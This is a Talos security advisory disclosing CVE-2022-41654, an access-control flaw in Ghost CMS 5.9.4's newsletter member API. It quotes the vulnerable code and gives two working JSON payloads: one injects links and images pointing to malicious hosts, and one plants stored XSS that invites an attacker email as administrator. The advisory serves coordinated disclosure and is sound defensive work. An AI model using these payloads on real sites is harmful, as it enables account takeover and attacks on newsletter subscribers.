Talos Vulnerability Report

TALOS-2022-1624

Ghost unauthorized newsletter modification vulnerability

December 21, 2022
CVE Number

CVE-2022-41654

SUMMARY

An authentication bypass vulnerability exists in the newsletter subscription functionality of Ghost Foundation Ghost 5.9.4. A specially-crafted HTTP request can lead to increased privileges. An attacker can send an HTTP request to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Ghost Foundation Ghost 5.9.4

PRODUCT URLS

Ghost - http://www.ghost.org

CVSSv3 SCORE

9.6 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

CWE

CWE-284 - Improper Access Control

DETAILS

Ghost is a content management system with tools to build a website, publish content and send newsletters. Ghost offers paid subscriptions to members and supports a number of integrations with external services.

Ghost CMS not only allows users to publish content directly, but also create newsletters to notify users of new posts. By default, anyone can subscribe to these newsletters with only a valid email address. The submitted email address will be sent a magic link for verification, as well as any subsequent logins to management their subscription. These subscription accounts (members) are completely seperated from the user accounts used to manage the content of the site and have no futher site access outside of a fully unauthenticated user. Also note that members accounts do not require any kind of administrative action or approval to create. Members are only allowed to update their email address, name and newsletter subscription. The /members/api/member/ API endpoint is exposed to allow the user to retrieve/update these fields, but an incorrect inclusion of the newsletter relationship allows a member full access to create and modify newsletters, including the system-wide default newsletter that all members are subscribed to by default.

This user object is updated in the updateMemberData function in core/server/services/members/middleware.js

const updateMemberData = async function (req, res) {
    try {
        const data = _.pick(req.body, 'name', 'bio', 'subscribed', 'newsletters', 'enable_comment_notifications'); <--- newsletter dict is fully trusted
        const member = await membersService.ssr.getMemberDataFromSession(req, res);
        if (member) {
            const options = {
                id: member.id,
                withRelated: ['stripeSubscriptions', 'stripeSubscriptions.customer', 'stripeSubscriptions.stripePrice', 'newsletters']
            };
            const updatedMember = await membersService.api.members.update(data, options);

            res.json(formattedMemberResponse(updatedMember.toJSON()));
        } else {
            res.json(null);
        }
    } catch (err) {
        res.writeHead(err.statusCode);
        res.end(err.message);
    }
};

The ability to modify newsletters at first may seem to have minimal impact. A number of factors of how these are used makes this pretty severe.

First, there are fields in the newsletter object that are included in the emails generated, such as header and footer content, as well as a newsletter image. These fields can then be used to target newsletter subscribers by injecting links or images to malicious content, including exploit kit landing pages or other client-side attacks. Note, this type of user attack would require no abnormal action by an administrative user other than publishing a new post that triggers a newsletter being sent out.

A simple example of including malicious external resources and links in the newsletter:

{"newsletters":[{
    "id":"632c73504897e1000dc8aba6",
    "header_image":"hxxp://.../bad.img",
    "footer_content":"<h3><a href='hxxp://.../bad/site'>Unsubscribe</a></h3>"
    }]
 }

The second, more direct issue for the site administrator is the fact that Ghost CMS allows Javascript to be injected into the content of the site by design. This seems to be based on the idea that only trusted users will have the ability to inject javascript, but as there is a least one field (footer_content) in a newsletter, we are allowed to leverage this permissive model to create a stored XSS in the newsletter object. Obviously, there are any number of ways to leverage XSS, but the following example is used to create our own administrative account. As this is more traditional stored XSS, a user with the correct privileges is required to edit the default newsletter to trigger the account creation.

{"newsletters":[{
"id":"632c73504897e1000dc8aba6",
"footer_content":"<iframe onload='jQuery.get(\"/ghost/api/admin/roles\",null,function(data){for(i=0;i<data[\"roles\"].length;i++){if(data[\"roles\"][i][\"name\"]==\"Administrator\"){jQuery.post(\"/ghost/api/admin/invites/\",   {\"invites\":[{\"token\":null,\"email\":\"user@attacker\",\"expires\":null,\"status\":null,\"role_id\":data[\"roles\"][i][\"id\"]}]});}}});' />"
}]
}
TIMELINE

2022-10-26 - Vendor Disclosure
2022-10-26 - Initial Vendor Contact
2022-11-28 - Vendor Patch Release
2022-12-21 - Public Release

Credit

Dave McDaniel and other members of Cisco Talos.